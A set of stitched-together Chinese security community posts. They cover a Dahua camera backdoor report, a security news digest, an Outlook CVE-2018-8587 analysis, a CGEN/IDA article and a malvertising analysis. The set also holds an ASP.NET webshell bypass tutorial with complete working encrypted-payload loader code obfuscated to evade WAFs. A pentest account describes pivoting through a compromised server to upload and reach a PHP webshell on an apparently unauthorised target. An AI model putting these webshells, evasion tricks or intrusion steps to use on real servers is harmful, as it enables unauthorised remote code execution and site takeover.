由于该漏洞影响较大发布检测工具可能导致漏洞细节的泄露，另漏洞发现者在漏洞公告当天就删除了相关漏洞验证程序，所以这里暂时不提供相关检测程序。对于使用上述品牌摄像头需要检查相关设备安全的单位或组织，请与知道创宇404实验室联系。
#### 修复方法：
针对该漏洞厂商官方在3月6日就发布了相关的漏洞公告、影响设备型号及升级方法 详见[2]：
http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
针对其他影响的品牌目前知道创宇404实验室正在积极联系相关厂商确认并协助修复相关漏洞。
## 4\. 结论
在此次事件根据及分析过程中该漏洞被披露后某厂商公司随即进行了安全应急响应确认了漏洞并发布了相关公告及固件升级，从13天后的全球统计数据及品牌分析标注了dahua的品牌只占有109个，从这个角度来看说明某厂商公司的应急是有显著的效果的，同时也说明基于同一种产品不同品牌的设备影响还非常大。这个案例也反映了一个存在于IoT等设备安全现状：厂商或品牌的合作流程里目前广泛缺少了对应的“安全”流程，这显然已经成为IoT设备安全一个重要的“缺陷”。
## 5\. 参考链接
[0]. Seebug漏洞平台 https://www.seebug.org
[1]. 0-Day: Dahua backdoor Generation 2 and 3
https://www.seebug.org/vuldb/ssvid-92745
[2]. Dahua Security Bulletin March 6, 2017
http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
[3]. ZoomEye 网络空间搜索引擎 https://www.zoomeye.org/
[4]. ZoomEye 网络空间搜索引擎搜索某厂商相关摄像头设备
[https://www.zoomeye.org/search?t=host&q=app%3A"Dahua+Web+Camera+Server"](https://www.zoomeye.org/search?t=host&q=app%3A
"Dahua+Web+Camera+Server")
[5]. Configuring automatic time updating for iMaxCamPro DVRs and NVRs
https://www.worldeyecam.com/blog/technical-questions/configuring-ntp-imaxcampro.html
[6]. CRECREDIT TECH http://crecreditcctv.com/
[7]. Hi-Focus http://hifocuscctv.com/
[8]. Honeywell International Inc. https://www.honeywell.com/
[9]. Worldeyecam, INC https://www.worldeyecam.com/about-us.html
* * * | 社区文章 |
# 2月13日安全热点 - 平昌冬奥会恶意软件 / Skype提权漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Skype更新程序中存在提权安全漏洞
<http://www.zdnet.com/article/skype-cannot-fix-security-bug-without-a-massive-code-rewrite/>
只需插入 USB 就能黑掉 Linux 设备
<https://www.bleepingcomputer.com/news/linux/its-2018-and-you-can-still-p0wn-your-linux-box-by-plugging-in-a-usb-stick/>
国际网络犯罪组织Lazarus——比特币网络钓鱼攻击活动
<https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/>
破坏性的恶意软件在平昌2018年冬奥会上肆意妄为
<http://blog.talosintelligence.com/2018/02/olympic-destroyer.html>
<https://www.bleepingcomputer.com/news/security/destructive-malware-wreaks-havoc-at-pyeongchang-2018-winter-olympics/>
挖矿活动瞄准安卓用户
> [Drive-by cryptomining campaign targets millions of Android
> users](https://blog.malwarebytes.com/threat-analysis/2018/02/drive-by-> cryptomining-campaign-attracts-millions-of-android-users/)
Rapid Ransomware的一个新变种正在通过malspam传播
<https://www.bleepingcomputer.com/news/security/rapid-ransomware-being-spread-using-fake-irs-malspam/>
## 技术类
简述Cisco RV132W多个漏洞
<https://blogs.securiteam.com/index.php/archives/3590>
Evasive恶意软件的热潮
<https://blog.minerva-labs.com/the-upsurge-in-evasive-malware>
CloudMe未经身份验证的远程缓冲区溢出
[https://blogs.securiteam.com/index.php/archives/3669](https://blogs.securiteam.com/index.php/archives/3669?utm_source=securitydailynews.com)
快速afcd反汇编
[http://newosxbook.com/articles/afcdecomposed.html](http://newosxbook.com/articles/afcdecomposed.html?utm_source=securitydailynews.com)
Debian & VBox Installation + GHDB
<https://0x00sec.org/t/penny-os-0x01-debian-vbox-installation-ghdb/5450>
NrsMiner：一个构造精密的挖矿僵尸网络
<https://www.anquanke.com/post/id/98272>
2017年 AI安全风险白皮书
<https://www.anquanke.com/post/id/98300>
利用缓解技术 – 地址空间布局随机化（ASLR）
<https://0x00sec.org/t/exploit-mitigation-techniques-address-space-layout-randomization-aslr/5452>
教程：为恶意软件检测创建Yara签名
<https://0x00sec.org/t/tutorial-creating-yara-signatures-for-malware-detection/5453>
MySQL UDF Exploitation
<https://osandamalith.com/2018/02/11/mysql-udf-exploitation/>
Antivirus Scanning of a PCAP File
[http://www.netresec.com/?page=Blog&month=2018-02&post=Antivirus-Scanning-of-a-PCAP-File](http://www.netresec.com/?page=Blog&month=2018-02&post=Antivirus-Scanning-of-a-PCAP-File)
TCP-Starvation
<https://github.com/Eplox/TCP-Starvation>
一种检测网络中响应者的存在的工具
<https://github.com/codeexpress/respounder> | 社区文章 |
吐槽下，D盾的aspx检测模块挺神奇的。
<https://xz.aliyun.com/t/10937>
在该篇文章简单介绍了几种以前实战过的asp.net的免杀手法
再介绍几种相对少见一些的方法
### 花括号和分号
{}和分号;在原本语法结束的地方可以添加大量的该类混淆，不会影响其原本的解析
如下所示
<% @page language=c#%>;;;;;;;;;;;;;;;;;;;;
<%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");{{{}}} byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);{{{;}}} Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);;;;;;;;;;;;;;;;;;;;;%>
能够一定程度的影响其解析,需要与其他手法配合
### unicode空白连接符
我们都知道，unicode是支持在aspx里进行的，同样的，它也支持asmx和ashx，估计这类特性都是通用的。
并且我们知道，在unicode有一类字符叫做zwj零宽连字(全称 zero width joiner)
常见的zwj字符有如下几个
\u200c
\u200d
\u200e
\u200f
一个比较有意思的点吧，emoji的表情就是用zwj字符来进行连接的
除了上面的zwj，还有一种unicode编码叫做零宽不折行空格，也就是如下几种字符，都支持在字符间进行拼接，具体的概念可以直接百度。
\ufeff
\u202a
\u202b
\u202c
\u202d
\u202e
我们在asp.net环境下就可以利用上述的一些冷门unicode编码来对抗一些waf了
<%@language = c#%>
<%@Import Namespace="System.Reflection"%>
<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);;;;;;;;;;;;;;;;;;;;;%>
### aspx别的声明标签
我们知道<% @language="C#" %>可以与<% @language="Csharp" %>进行替换
我们知道，在Php中有
<script language='php'>
这种标签
其实在asp.net环境下也同样的类似标签
如下图的代码是我们常见的<%%>模式
<% @language="C#" %>
<%Response.Write("hello world ashx");%>
接下来我们来将代码块的形式改成代码块的方式 ，
<script language=csharp runat=server>
void page_load(){Response.Write("hello world");}
</script>
也可以写成下面的这种形式
<script language=csharp runat=server>
void page_load(){Response.Write("hello world");}
</script>
可以看到仅需要添加void page_load(){ } 相关代码，代码大致如下
<script language=csharp runat=server>
void page_load(){
Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
}
</script>
当然，这只是一直简单的替换方式，我们可以和别的Bypass方式进行相结合。
就好比之前的c#替换成 csharp一样，在去年一次实战中就遇到一个AF就是拦截 c#关键字而 而不拦截 csharp。
### 换行特性
这个很简单哈，没什么好说的，效果比较一般
在没有换行之前
换行之后，可以看到还是起到一定的作用的，只不过效果可能不是非常的明显
成功连接，没有太大问题
### c#的 ///特性和xml
在标准的情况下，c#规定了/// 能够在aspx中作为xml语法的注释，那么我们缩短一下语句，它是注释。
直接看demo案例吧，在不破坏直接语法的情况下（使用换行隔开，可以产生如下的效果）。
我们可以将该类的注释特性与aspx原本的/ _xx_ /和来进行一些结合，
成功
<%
@
language
=
c#
%>
<%
@Import
Namespace="System.Reflection"%>
<%Session.Add("k",
//////@#@!#!@#!@#!@#!@#!@#!@#
"e45e329feb5d925b"); byte[]
//////@#@!#!@#!@#!@#!@#!@#!@#
k = Encoding.Default.GetBytes(Session[0] + ""),
//////@#@!#!@#!@#!@#!@#!@#!@#
c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
//////@#@!#!@#!@#!@#!@#!@#!@#
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
失败，如果不是//则会出现语法解析错误的问题
<%@language = c#%>
<%@Import Namespace="System.Reflection"%>
<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
\\
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%> | 社区文章 |
### 前言
在今年的初期，Fortinet的FortiGuard实验室研究员Yonghui Han在研究 [Fortinet’s responsible
disclosure](https://fortiguard.com/zeroday/responsible-disclosure)的过程中发现了`Office Outlook`中的`Heap
Corruption`漏洞并向office进行了报告。在在2018年12月的周二，微软将此漏洞进行了修补并发布了相关的公告声明，之后为其分配了漏洞编号：`CVE-2018-8587`。
作为Microsoft Office的组件之一，`Microsoft
Outlook`被用于发送和接收电子邮件、管理联系人、记录日常的安排并执行其他的相关任务。在我们的调查研究中，我们发现了多个Windows上的不同版本的Outlook堆漏洞，其版本涵盖了Outlook
2010到最新版的Outlook 2019，除此之外还包括`Office 365 ProPlus`的所有32/64位版本。
该漏洞可能由具有错误格式的RWZ（邮件分类规则）文件触发。由于缺少边界检查，当Outlook收到不正确的RWZ文件时，它会分配过少的堆内存并导致堆的`Out
of Bounds`写入。
在本博客中，我将分享此漏洞的详细分析。
### 漏洞重现
要重现此漏洞，我们需要运行`Microsoft
Outlook`，然后单击“规则=>管理规则和警报=>选项=>导入规则”并选择导致Outlook崩溃的PoC文件。
以下是调用堆栈发生崩溃时的图片：
### 漏洞分析
正如我们从调用堆栈图中看到的情况哪有，系统崩溃常常发生在堆块发布时。 由于我们无法确认释放的堆块的具体问题，所以我们可以打开整页堆来跟踪有问题的堆块。
命令如下：
YOUR_WINDBG_INSATALL_LOCATION\gflags.exe /p /enable outlook.exe /full
可以看到以下返回的结果，表明它已成功执行。
完成此操作后，我们再次打开Outlook、选择PoC文件后对新的崩溃堆栈进行监控。
现在我们可以看到ECX指向的非零内存地址是不可读的，并且在将数据写入该内存地址时会发生异常。 所以尝试将数据写入未分配（或释放）的内存具有很高的可能性。
我们可以通过检查内存页面的分配情况来验证我们的预测，在图中我们可以看到内存具有Reserve属性。 下面是截图：
现在，我们需要研究程序为什么要将数据写入未使用的内存页面。
通过静态分析，我们可以看到`ECX`的值来自`EDI`，并且在调用`MAPIAllocateBuffer`之后对EDI进行修改，如下面的屏幕截图所示：
通过静态分析，我们了解到函数`MAPIAllocateBuffer`是`RtlAllocateHeap`的包装，它对堆的大小进行检查并要保证其参数不大于`0x7FFFFFF7`。这并不能说明它是不安全的。但是在这种情况下，它并不会检查0是否可以用作参数。
又由于实际分配的堆大小比请求的堆大小多8个字节，所以这8个字节用`0x0000000001000010`填充。
之后，`MAPIAllocateBuffer`在填充这8个字节后返回堆地址。 因此，调用`MAPIAllocateBuffer`后的`EDI`值为`8
+从RtlAllocateHeap接收的分配堆地址`。 截图如下：
从上面静态分析的结果中，我们可以猜测在Reserve堆中写入数据的概率之高是由整数溢出引起的。
经过调试，我们发现调用`MAPIAllocateBuffer`的堆大小参数确实为0。由于`MAPIAllocateBuffer`请求分配大小为0 + 8 =
8的堆，因此`RtlAllocateHeap`不会返回错误而是成功返回正确的堆地址。
但是，`MAPIAllocateBuffer`使用这8个字节写入`0x0000000001000010`，然后向用户返回无效的堆尾地址。 截图如下：
接下来我们需要研究清楚为什么请求堆大小的值会变为0。结合调试和静态分析，我们发现0这个值来自当前函数的参数：`arg_4（eax = arg_4 * 4 +
4）`。 但是当调用当前函数时，`arg_4`的值不是传入参数的值，这意味着此函数会修改`arg_4`。
通过调试我们可以看到更改是在子函数`sub_65F7DA`中完成的。 截图如下：
我们分析子函数`sub_65F7DA`发现其是另一个包装函数。 经过一系列调试，我们最终发现名为`ReadFile`的函数 -即`arg_4`的值实际上来自`PoC`文件。 截图如下：
调试显示`arg_4`读取的文件内容为`0xFFFFFFFF`，然而由于整数溢出，传递的堆的分配大小为`0xFFFFFFFF * 4 + 4 = 0`。
但是程序并没有检查这一点，导致`Out-of-Bounds Writing`威胁发生。 截图如下：
检查PoC文件时，我们可以看到0xFFFFFFFF值确实存在。
我们将其修改为`0xAABBCCDD`，之后我们再次执行调试并设置相同的断点以验证溢出是由这4个字节引起的。
我们能够看到我们已经成功。
我们将代码与Patch发布版进行比较后发现现在的版本已经添加了对所请求分配堆大小的验证。 请参见下面的截图：
使用这种修补程序至关是十分重要的，因为成功利用此漏洞的攻击者可以使用特殊的文件在当前用户的系统中执行命令。
### 结论
我们鼓励所有用户升级到最新版本的Outlook或立即下载最新的补丁。 此外，已部署`Fortinet IPS`解决方案的用户可以通过以下签名保护自己的系统。
MS.Outlook.CVE-2018-8587.Remote.Code.Execution
本文为翻译稿件，来源为：https://www.fortinet.com/blog/threat-research/a-deep-analysis-of-the-microsoft-outlook-vulnerability-.html | 社区文章 |
# 适用于IDA Pro的CGEN框架
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://yifan.lu/2015/12/29/cgen-for-ida-pro/>
译文仅供参考，具体内容表达以及含义原文为准。
当我想要去分析某些媒体嵌入式处理器（[Media-embedded
processor](http://api.viglink.com/api/click?format=go&jsonp=vglnk_145144152214610&key=9b4efad421c8b103b2c94b796db973b0&libId=iis6l9y4010117fy000DA1uv2yzj0qruv0&subId=19d03b2a6c63328eaf80b6509b868182&loc=http%3A%2F%2Fyifan.lu%2F2015%2F12%2F29%2Fcgen-for-ida-pro%2F&v=1&out=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FMedia-embedded_processor&title=Yifan%20Lu%20%7C%20CGEN%20for%20IDA%20Pro&txt=MeP)）的代码时，我便发现了这个问题。在通常情况下，我会在IDA
Pro（一款专业的交互式反汇编器）里面进行我所有的解析和研究工作，但是有少数几类处理器是IDA并不支持的，而我在上面所提到的处理器正是这其中一种。但值得庆幸的是，有一种专门针对这类复杂架构的objdump工具可供我们使用。在经过了一番摸索之后，我认为，将反汇编程序移植到IDA上能够更加节省我的时间，因为手动处理和标注objdump的输出数据简直是太麻烦了。
**处理过程**
事实证明，互联网上并没有太多关于编写IDA处理器模块的内容和资料。SDK的说明文档也十分的简洁，文档并没有进行过多的描述（它只是让你去阅读示例代码和头文件），即以下这两个文档：一份是[在线指导教程](http://api.viglink.com/api/click?format=go&jsonp=vglnk_145144295248917&key=9b4efad421c8b103b2c94b796db973b0&libId=iis7chzx010117fy000DA59t86khc7tyt&subId=19d03b2a6c63328eaf80b6509b868182&loc=http%3A%2F%2Fyifan.lu%2F2015%2F12%2F29%2Fcgen-for-ida-pro%2F&v=1&out=https%3A%2F%2Fweb.archive.org%2Fweb%2F20140810125101%2Fhttp%3A%2F%2Fbinarypool.com%2Fidapluginwriting%2F&title=Yifan%20Lu%20%7C%20CGEN%20for%20IDA%20Pro&txt=online%20guide)，这份文档在网上已经找不到了；另一份是Chris
Eagle所著的《[The IDA Pro
Book](http://api.viglink.com/api/click?format=go&jsonp=vglnk_145144295842218&key=9b4efad421c8b103b2c94b796db973b0&libId=iis7chzx010117fy000DA59t86khc7tyt&subId=19d03b2a6c63328eaf80b6509b868182&loc=http%3A%2F%2Fyifan.lu%2F2015%2F12%2F29%2Fcgen-for-ida-pro%2F&v=1&out=http%3A%2F%2Fwww.idabook.com%2F&title=Yifan%20Lu%20%7C%20CGEN%20for%20IDA%20Pro&txt=The%26nbsp%3BIDA%20Pro%20Book)》。打开这本书，然后翻到专门讲解编写处理器模块的章节，你会发现这一章其实根本没有什么内容（它提示你：该部分内容缺少相关文档），因为很多人都曾尝试过编写处理器模块，但他们都没能成功。
Chris Eagle在《The IDA Book》第二版中写到：
编写处理器模块之所以如此的困难，其中的一个原因就在于，processor_t结构体包含有56个数据域，而这些数据域都必须要进行初始化，其中的26个数据域是函数指针。除此之外，还有一个数据域是一个指向数组的指针，而在这个数组中还保存有大量的结构体指针，这些结构体指针会指向不同类型的结构体（asm_t），在这些不同类型的结构体中，每一个结构体又会包含有59个需要进行初始化操作的数据域。天啊，这简直是太复杂了！
但是，我并不是一个容易放弃的人，所以我选择继续阅读下去，并逐渐熟悉了创建一个处理器模块所需要进行的操作和步骤。在这篇文章中，我并不打算对具体的操作步骤进行详细的描述，因为Chris已经在他的书中写得非常详细了，所以我在此只会进行一个简单的概括。
**IDA处理器模块**
IDA的处理器模块有四大组件。“分析器”能够解析机器代码的原始位数据，并且生成一条指令的相关信息。“模拟器”能够利用“分析器”所生成的信息来帮助IDA对数据进行更加深入地分析。比如说，如果一条指令需要引用某个数据，你的模块就可以让IDA根据给定的内存地址来寻找这个数据。如果指令需要执行一次函数调用，你的模块就可以让IDA去创建一个功能函数。与它的名称相反，“模拟器”实际上并不会“模拟”出一个指令集。“输出器”所做的工作是：对“分析器”所生成的数据进行解析，然后将其输出给用户。最后，即是架构信息，在其他的资料中，架构信息其实并不算是一个组件，但我认为它可以算是其中的一大组件。架构信息并不是一段代码，而是一种静态结构，IDA可以从中获取例如寄存器名称和指令助记符等重要信息。
**CGEN框架**
适用于媒体嵌入式处理器（Mep）的binutils（objdump）是由[CGEN](http://api.viglink.com/api/click?format=go&jsonp=vglnk_145144485206338&key=9b4efad421c8b103b2c94b796db973b0&libId=iis7chzx010117fy000DA59t86khc7tyt&subId=19d03b2a6c63328eaf80b6509b868182&loc=http%3A%2F%2Fyifan.lu%2F2015%2F12%2F29%2Fcgen-for-ida-pro%2F&v=1&out=https%3A%2F%2Fsourceware.org%2Fcgen%2F&title=Yifan%20Lu%20%7C%20CGEN%20for%20IDA%20Pro&txt=CGEN)框架生成的。CGEN框架的目标就是将编写CPU工具（编译程序，反编译程序，以及模拟器等等）的任务抽象为编写CPU定义。它可以通过Scheme语言来对CPU（包括硬件组件，指令集，以及操作数等等）进行描述。CGEN能够识别这些定义，并且为CPU工具输出其所需要的C/C++代码。起初，我并不想使用CGEN，我原本打算直接把binutils代码直接加入至一个IDA模块（à
la
[Hexagon](http://api.viglink.com/api/click?format=go&jsonp=vglnk_145144528286848&key=9b4efad421c8b103b2c94b796db973b0&libId=iis7chzx010117fy000DA59t86khc7tyt&subId=19d03b2a6c63328eaf80b6509b868182&loc=http%3A%2F%2Fyifan.lu%2F2015%2F12%2F29%2Fcgen-for-ida-pro%2F&v=1&out=https%3A%2F%2Fgithub.com%2Fgsmk%2Fhexagon&title=Yifan%20Lu%20%7C%20CGEN%20for%20IDA%20Pro&txt=Hexagon)）之中。理论上，你的模块并不需要遵守上述所列出的规则。你可以让分析器记录原始位数据，然后模拟器可以不进行任何操作，输出器可以直接利用binutils来生成完整的解析结果并将结果输出给用户。然而，如果这样做，你就没有让IDA充分发挥其强大的功能。当然了，你也没有充分利用CGEN的CPU定义所提供给我们的有效信息。这种定义（理论上）是十分健壮的，它可以为处理器生成RTL代码，所以我们理所应当向IDA提供尽可能多的信息。
**CGEN生成器**
生成器（CGEN的说明文档称它们为“应用程序”）同样是使用Scheme语言编写的。在此之前，我一行功能代码都没有写过，所以即使是一个相对较小的代码库，我也花费了一整天的时间去理解其中的代码。CGEN有其自身的对象系统，他们将其命名为COS。CPU描述中的每一个定义都是一个对象，每一个生成器都会赋予这些对象一个能够将其自身打印输出的方法。比如说：模拟器可以给操作数对象提供一种“生成代码并赋值”的方法。然后它会调用一个函数来生成一条指令的相应语义，并将其转换为C语言代码的形式。就像一个真正的软件工程师一样，我从模拟器，反编译程序，以及架构描述中剥离出了生成器的相关函数，并使用我自己所编写的代码来将这些函数组合在了一起，并以此来制作IDA模块所需要用到的组件。
**结果**
上图中，所有蓝色部分均为程序自动分析的结果。
从最基础的层面上来说，生成模块能够打印输出objdump中所有你需要的数据信息。分析器能够找到操作数（如果存在的话）的正确类型。模拟器会尝试寻找所有连续的内存地址。如果我们需要的话，输出器还能够正确打印并输出所有的指令，以及类型／大小／名称均无错误的操作数。
目前而言，它还有一件最主要的事情还没做，即跟踪堆栈指针。除此之外，它没有对函数的跳转和调用进行验证（这一过程需要用到CF_CALL标识）。它也没有对指令的运行状态进行检测和验证（这一过程需要用到CF_STOP标识），但这一步骤可以手动进行，所以在此我不进行过多的论述。
当你成功地生成了IDA模块的各个组件之后，你仍然需要手动编写processor_t结构体，notify()函数（可选），以及专门的打印函数（CPU定义中有相关的内容）。然后，你就可以将CGEN的headers从binutils中拷贝出来，并使用IDA
SDK对其进行编译。比如说，让我们来看一看Mep模块，你可以重复使用其中大部分的代码（你只需要更换其中的某些字符串和常量即可）。
**下载**
点击下面第一个链接获取CGEN框架的源代码，点击[下面第二个链接](http://api.viglink.com/api/click?format=go&jsonp=vglnk_145144723760963&key=9b4efad421c8b103b2c94b796db973b0&libId=iis7chzx010117fy000DA59t86khc7tyt&subId=19d03b2a6c63328eaf80b6509b868182&loc=http%3A%2F%2Fyifan.lu%2F2015%2F12%2F29%2Fcgen-for-ida-pro%2F&v=1&out=https%3A%2F%2Fgithub.com%2Fyifanlu%2Ftoshiba-mep-idp&title=Yifan%20Lu%20%7C%20CGEN%20for%20IDA%20Pro&txt=here)获取Toshiba
MeP模块的源代码。如果我还有时间，我会继续给大家提供更多有关CGEN以及IDA模块的信息。
<https://github.com/yifanlu/cgen>
<https://github.com/yifanlu/toshiba-mep-idp> | 社区文章 |
**前言**
今天本来应该过6.1儿童节的,恰巧昨天和mrx渗透的一个站上传还没有绕过,早上mrx和我就开始重新看看,先说一下背景,首先通过弱口令进了后台,经过一番寻找发现了如下配置
看到这个,已经胸有成竹,接下来就是常规的加上php后缀,并且上传一波,于是我来了一发如下:
waiting了很久有waf检测 我直接 cancle了,接下来就是有趣的绕waf，我绕了3个小时,各种奇葩姿势都弄出来了,比如下图
都改成这个鬼样子了 还是过不鸟 尝试过各种一般用的过waf的方法:
1.jpg.php 1.php.jpg 1.php%00.jpg
filename=1.jpg
filename=1.php
Content-Disposition: form1-data; name="Filedata"; filename="3.php"
Content-Disposition: form-data; name="filename"; filename="3.jpg" .php
filename="垃圾数据 30w".jpg.php
因为系统是windwos的 利用windows特性 文件如果以::$DATA结果那么这部分自动会被去掉
所以配置允许后缀为php::$DATA,拿去发包,waf直接检测到,我改为 ::data 就可以发包但是返回保存出错,同理我利用? .
等windows特性尝试绕过(如果这些特殊字符比如? . !
等在文件名结尾的时候有一定几率被直接去掉),把这些特殊字符作为文件结尾进行尝试结果全部以失败告终,失败原因都是和下面这个图片一样
尝试用长文件名截断同样失败
等等等等 还尝试了各种后缀
pht,php,phtml,php3,php4,php5,php6,php7,aspx,asmx,asp,jsp,jspx
我的心情如下:
全都告以失败,弄到了前一天的晚上12点,还是拿不下,于是洗澡睡了.........
第二天 也就是 6.1儿童节 又开始一杯茶一包烟一个破站绕一天.........
**正文**
其实前一天晚上我就想到了这种方法,但是嫌麻烦就没试,今天没办法了,实在是绕不过,于是尝试使用这种方法,利用内网ip或者是ip白名单来绕过waf，如果两个服务器在同一个内网,那么他们之间互相访问可能并不会经过waf在的服务器,又或者是ip白名单的原因导致这样有可能绕过waf，因为之前拿过和这个站同属一个体系的另外一个站,所以我想试试这种方法,我在已经拿到shell的那个站上(可以出网)，ping
现在这个站 解析的ip 并不是内网ip
心中有一丝灰暗掠过....管他的,只有试试了,说明一下已经被getshell的站我称为A站，A站为linux环境,现在这个还没拿下的称为B站.
首先我要在A站上弄一个socks代理 然后通过这个代理我去访问B站,然后上传,因为A站是在内网,所以我先尝试用web代理,用的是这个Neo-reGeorg，流量加密版
reGeorg,但是用之前我就感觉成功率不高,因为php版本的这个代理不是很好用,之前没有使用成功过,不过asp,aspx的倒是很好用,我将本地端口8888与A站上的tunnel.php
建立连接 然后我用burp走 8888 端口,结果失败,连接有问题,这是预料之中的,那就换一种代理方法,既然可以出网,可以用ew 让他 与我的公网vps
建立连接，然后我通过我的vps对应的端口走代理,这里就不详述了,因为当时觉得这种方法比较麻烦,既然我已经有一个shell并且可以执行命令了,而且有curl，那我为什么不直接通过curl
来发post包上传呢 于是搜索了一下curl的使用方法,如果要用curl传文件 必须要用 -F 选项 使用了-F参数，curl会以multipart/form-data的方式发送POST请求。-F以key=value的形式指定要上传的参数，如果是文件，则需要使用key=@file的形式
然后现在我的vps上测试了一下直接给B站发上传包成功了,ok,咱们直接上A站发包
sessid=1590980086 和 moudl=content 都是上传包需要的
可以看见我们成功绕过了waf，因为之前上传如果是php后缀都是直接封掉不会有返回包，现在没有被封,说明已经绕过了waf，这两台机器应该在同一内网,但是为什么会出现上传类型不允许呢,而且我已经在配置中设置了允许php后缀,如果看过我前面审计发卡平台文章的兄弟应该已经明白了，虽然设置了允许php后缀,但是我猜测后台应该是大概长个样子:
$store=['jpg','png','php'] #类似这样 如果我设置了允许php后缀 那么 php就会被加入这个数组 $ext视为获取的文件后缀名
if(in_array($ext,$store)&&$ext!="php"&&$ext!="php3"&&$ext!="pht"...){ 类似这样
上传操作
} else{
echo "上传类型不允许";
}
这样子的话就很好绕过了,在windwos条件下 文件名称最后如果有空格那么是会被去掉的,利用这个特性就可以轻松绕过，配置一下允许上传的后缀
然后上传
到这里我以为基本已经拿下 访问之 没想到404 难道没传上去? 于是我把php后缀换成了p 方法完全一样 在配置中增加 p空格 然后上传
访问发现是成功去掉最后的空格并且上传成功了的 那应该就是设置了配置文件 设置某个目录下 访问php文件就返回 404
那这时候需要跨目录去别的目录,我发现上传包中的 module参数的值 content是被放到了 上传后的文件路径中 我加入 ../ 发包 一发入魂
成功跨目录
蚁剑访问之 看到了 绿色的成功连接 心中一丝舒爽........
站群的截图就不放了 执行命令一发whoami 哦哟
**end**
这应该是个梦把....... | 社区文章 |
# 针对英国网站所使用的恶意广告攻击
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blog.malwarebytes.org/malvertising-2/2016/03/a-look-into-malvertising-attacks-targeting-the-uk/>
译文仅供参考，具体内容表达以及含义原文为准。
最近,我们的安全研究人员意外发现了一起针对英国大型新闻网站的恶意广告攻击事件,所以我们决定对这一事件进行深入地分析调查。
所谓恶意广告,指的就是互联网上用流氓软件感染用户电脑的广告。根据网络安全公司Blue Coat
Systems所说,恶意广告是当今网络犯罪组织首选的计算机劫持技术。攻击者可以利用被入侵的计算机来创建强大的僵尸网络,并以此来窃取用户的身份信息,泄漏企业敏感数据,或者进行一些其他的恶意活动。
正如我们最近所发现的很多网络攻击,合法的网络广告与流氓广告之间的划分界限变得越来越模糊了。实际上,在很多情况下,我们根本无法去区分某一网络广告到底是合法的还是非法的。而且有的网络广告实际上就是流氓广告,但是我们却无法找到证据去证明它。
我们的安全研究人员最近发表了一篇标题为“[Operation
Fingerprint](https://blog.malwarebytes.org/malvertising-2/2016/03/ofp/)”的文章,正如我们在文章中指出的那样,想要重新模拟这类网络攻击是非常困难的,而且在无法提取到确凿的证据时,我们也很难对这类攻击事件进行分析和处理。
为了证明我们所提出的观点,我们将会对这次针对英国大型新闻网站的恶意广告攻击事件进行深入地分析。在此次攻击事件中,流氓广告服务商使用了一种非常聪明的伪装技术来传播和推送其设有攻击陷阱的流氓广告。
受恶意广告影响的网络站点:
l dailymail.co.uk
l adclick.g.doubleclick.net
l track.bridge.systems
l cdn.exeterquads.com
l geraeuschvollste.ciderstore.co.uk
第一眼看上去,exterquads.com这个网站看起来应该是英国的一个合法商业网站。然而,其子域名(在主域名之前的子域名-‘cdn’)的所有者却是一个网络犯罪分子。这名攻击者从这一主域名所有者那里窃取到了合法的证书,然后利用这一合法证书创建了一个指向攻击者服务器的恶意URL地址。这就是我们之前所提到过的域名阴影技术([Domain
Shadowing](https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows))。
域名阴影技术在最近的网络钓鱼攻击事件中扮演着重要的角色。黑客窃取了受害者(网站站长)的域名账户,并利用证书创建了数以万计的子域名,然后利用子域名指向恶意网站,或者直接在这些域名绑定的服务器上加载恶意代码。这种恶意攻击手法非常有效,而且难以防范。因为你不知道黑客下一个会使用谁的账户,所以几乎没有办法去获悉下一个受害者。
合法域名的信息:
主机名称: exeterquads.com
服务器IP地址: 5.196.39.216
服务器参数: Microsoft-IIS/8.5
流氓网站的子域名信息:
主机名称: cdn.exeterquads.com
服务器IP地址: 5.63.145.76
服务器参数: nginx/1.0.15
除此之外,攻击者还会从合法的商业网站中窃取其logo图标和一些其他的图片信息,然后在自己的流氓网站中添加一些比较有说服力的广告标语,并以此来对流氓网站进行伪装。很明显,这也是攻击者为了掩盖其真正目的而采取的欺骗手段。实际上,除了上述的一些图标和广告标语之外,网站还会加载一个1×1像素的图像,该图片很可能是攻击者为了跟踪用户而放置的。
这也就是用户身份信息的泄漏之处。我们对图片中所隐含的恶意代码进行了解码分析,并发现攻击者确实是在利用这一图片来对目标用户的真实身份进行识别,而且安全检测工具很难检测到这类安全威胁。
研究人员还发现,恶意代码中还包含有一个能够为下载漏洞利用工具提供信息的URL地址,在我们所研究的事件中,攻击者使用的是Angler EK。
